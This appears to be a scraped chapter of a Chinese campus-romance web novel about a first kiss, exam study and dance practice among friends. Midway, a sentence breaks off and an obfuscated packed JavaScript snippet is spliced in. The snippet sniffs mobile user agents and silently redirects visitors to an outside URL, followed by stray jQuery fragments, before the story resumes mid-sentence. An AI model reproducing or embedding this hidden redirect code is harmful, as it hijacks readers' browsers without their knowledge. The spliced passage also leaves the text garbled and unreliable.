33. 恋爱第11天

作品:《好巧你也被剧透啦

    有些事一旦开了头,就会难以停止。


    比如倒水挑战小游戏。


    尤其是当罗姝竟然也卡关好几次,需要看广告才能通过的时候,这个游戏就注定要强势入驻她的日常生活。


    为此罗姝重新调整了自己的学习计划,将集中的、超长时间的复习打散成时长一致的小段,段与段之间穿插着短暂的娱乐时间用来征服倒水挑战。


    这种模式一直持续到考试前一天。


    也不知道是不是她的错觉,她竟然感觉这么安排下来,她做题的效率大幅度提升,准确率也没有降低。


    “因为很多知识点你已经掌握了吧。”听到她倾诉小烦恼的段胥阳这样说。


    他正瞻仰着罗姝做过的试卷,与有荣焉地扫过那些几乎没有错误的清秀笔迹:“之前你很谨慎,总是检查一遍又一遍,现在你担心在休息前做不完试卷,便会加快做题速度,减少纠结的次数。”


    “这样不好,粗心大意必有疏漏。”罗姝一边数着瓶子,一边严肃着脸反省自己:“有好几次我不得不看广告,就是因为之前的步骤大意了。”


    她做出重要总结:“玩游戏要细心,答题更要细心。”


    那一本正经玩游戏的样子叫人忍俊不禁,段胥阳忍着笑,把手中的试卷放下,看向她的侧脸。


    她正专注地盯着手机屏幕,仿佛在看什么重大新闻。


    小姑娘年龄不大,低着头的时候,脸上还有些鼓囊囊的婴儿肥,细嫩的皮肤上分布着些许绒毛,柔软又可口。


    他先上手捏了捏,没敢使劲,生怕不小心将她捏疼。


    见罗姝没有抗拒,段胥阳才又挪近一点,在她脸上轻啄一口。


    手机没有静音,传来“咕噜”的倒水声效,罗姝呆了一下,顿时谴责地看过去:“你吓我,害我倒错了。”


    “哪错了?红的和红的倒一起了啊。”


    “我本来要倒进左边那个瓶子的,倒反了。”罗姝指出问题,“现在可用空间不足,又要看广告。”


    段胥阳接过她的手机,自觉点开广告:“行,我的错,我帮你看。”


    “唉,有些人呐,她又高又帅又贴心的男朋友在这坐了几个小时陪她学习,到头来还比不过一个手机游戏。”他酸溜溜地说。


    罗姝心虚了一秒,强撑起声势:“可你真的吓到我了,你亲我之前也没说一声。”


    “哦,亲一口还得提前预告呢。”段胥阳气笑:“行,我现在预告你一下,我还要亲你。”


    随后他眼睁睁看着眼前人白嫩嫩的脸上染上绯色,也不浓重,只衬得她更加可爱。


    等了几秒,他还没亲过来,罗姝清了清嗓子:“你怎么还不亲?”


    段胥阳将手机放下,长臂一捞,把人箍进怀中用力亲了好几下。


    那布丁般滑嫩的触感,像是带着深深的魔力,令他不忍松开。


    段胥阳感觉自己走进了一处神秘危险的幽谷,他已然撷到珍宝,可他仍不知足,想要继续向前探索。


    鼻尖相抵,呼吸交缠。


    罗姝提起一口气,下意识要向后躲去,可躲不开。


    年轻男人的手臂坚硬似铁,蓬勃有力,蟒蛇一样缠在她的腰间,只能不断收紧二人之间的距离,逃离不了分毫。


    睫毛飞快地颤动着,罗姝心跳如擂。


    他却只蹭了蹭她的鼻子,没有再近一步。


    大着胆子看向段胥阳的眼睛,罗姝清晰看见他眼底的欲壑难填,但无数层的珍视将它包裹,他对她的柔情占据着上风。


    那一瞬间,不知何处来的勇气支使着她,罗姝嘴唇颤抖着,身体也颤抖着上前,贴上他的唇角。


    一道电流从唇瓣相接的地方滋生,同时打在他们心上。


    “学习时间到了!”她蓦地将他推开,捞起试卷大步流星地走向剪辑室:“我去学习,不准打扰我!”


    “手机!还有游戏没玩完呢!”段胥阳从僵硬中清醒过来,整个人洋溢着幸福与欢快:“我替你玩?”


    房间门已经被关上,从中发出一声闷闷的“随便”。


    他摸了摸自己的嘴角,傻傻地笑出声:“又偷袭我。”


    哼着荒腔走板的调子,他找到一个纪念日APP,在今天这个日期上郑重记录下两个字:初吻。


    从四级考场走出来,罗姝刚觉得自己身上的学习担子轻了一点,期末考试这座大山又压了下来。


    除了专业课和部分公共课是统一放在放假前考,还有不少课程在结课周就要进行考试,比如体育课。


    这段时间里他们早已经学完了全部动作,老师又带着他们练习了好久,便称后面的课程里要进行两次小测,一次单人动作小考,计入平时分,一次双人动作小测,算作期末成绩。


    双人动作里有舞伴带着还好,独自跳单人动作,曹非和段胥阳的手脚就会不受控制。


    当时他们就可怜巴巴地看着罗姝寝室四人,像两只被人遗弃的大狗一样,几人一心软,就约好了找个空地一起练习。


    林莎后来在寝室多次爆发后悔言论:“我是看曹非后面进步很多已经很少踩我才答应的,但我感觉仅靠我们几个恐怕教不会他。”


    “天王老子来了也教不会。”白婵对此很平静。


    她是唯一的男步选手,势必要带他们一起练习,经过这一学期的观察,她已经看开了:“不求动作标准,他们能混在学生中不突兀地把动作流畅做完就行,我相信老师不会这么吹毛求疵。”


    就这样,等罗姝考试结束后,六个人终于凑在一起开始做最后的练习。


    段胥阳整场状态非常高,单人动作居然也能跳得有模有样,几个小老师的重点关注对象就变成了曹非一人。


    眼看着那文艺青年被这几个人围攻,手忙脚乱地像一只可怜的老鼠,罗姝心里忍不住泛滥出同情:“你说你当初坑他干嘛。”


    “我没坑他啊,”段胥阳不认:“谁让他自己报课的时候接打电话的,我可是统一标准,我报了什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073640|192695||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么就给他报了什么。”


    “那也是他信任你,谁知道你会把手脚不协调的人往舞蹈坑里带啊。”罗姝戳了他胸口一下,继续替曹非抱不平:“你还老欺负他呢,人家一个钢琴王子陪你组摇滚乐队,对他好点吧。”


    “罗姝姝你向着别人!”段胥阳一副伤心欲绝的样子,佯装擦眼泪:“我对他还不好嘛,他小时候跟石头一样天天就知道练琴,要不是我带着他玩,他都成傻子了!”


    “你都不知道,曹非他爸爸有多严格,稍微弹错一点就打我们手背,我们俩天赋还差,手天天肿得跟猪蹄似的。”


    段胥阳说着说着就得意起来:“后来我就起义了,我拉着曹非离家出走到附近游乐园疯玩了一天,不用练琴不用挨打不用被曹老师死亡视线紧盯,他这才知道生活有多美好,从此成为我的小弟。”


    罗姝又看了曹非一眼,着重看了看他的手。


    她也是外行,只知道曹非手指修长有力,应该十分适合弹钢琴。


    “他天赋不好吗?”


    “比起他姐确实差了很多,小时候曹老师说我们这种天赋考个业余级别的十级就顶天了。”


    段胥阳摇摇头,遗憾咂舌:“曹姐有天赋,但她不想走曹老师的老路。她脾气又臭,翅膀又硬,曹老师奈何不了她,只好把‘后继有人’的希望全放在曹非身上,所以对他过于苛刻了点。”


    “我可没有夸张,曹非是哭着长大的,都说勤能补拙,为了补上他的‘拙’,他连出门的机会都没有,所有休息时间都在练琴。”


    “要不是我小时候调皮捣蛋,我妈想治治我,送我到曹老师家一起学琴,他连一个朋友都不会有。”


    话题都偏到郊区了,段胥阳还记得自己有冤,开始叫屈:“学琴这件事对他来说其实很压抑,他主动说要跟我搞乐队,正好可以疏解一下他的压力。我全是为了他好,怕他没有朋友我还特意跟他报同一所大学呢。”


    “家家有本难念的经。”罗姝不期然想到了自己,她又何尝不是背负着父母过高的期望,遍布枷锁地活着呢?


    或许,就连曹恩悦,也是在这种高压氛围中长大的。


    相似的家庭环境,这会是她在原文中成为“罗姝”的一个契机吗?


    “你不准心疼他!”段胥阳怒目而视,醋意大发:“他自己也是喜欢钢琴的,不然不会坚持这么多年,你支持他的一切决定就好了。你要先心疼我,我小时候还得天天被打手呢。”


    “好好好,我最心疼你。”罗姝抓起他的手吹了吹,又摸到了他掌心的薄茧。


    他练吉他时受得罪就一声不吭,现在为了那么多年前手背挨过的打跟她撒娇。


    “你也是个小傻子。”她嗔了一句,眼眶有些发酸。


    她又觉得自己莫名其妙,吸了吸鼻子,开始转移话题:“你下学期报四级吗?我还要考六级,我可以跟你一块学。”


    段胥阳:“……”


    他的女朋友才不解风情得像个石头蛋子。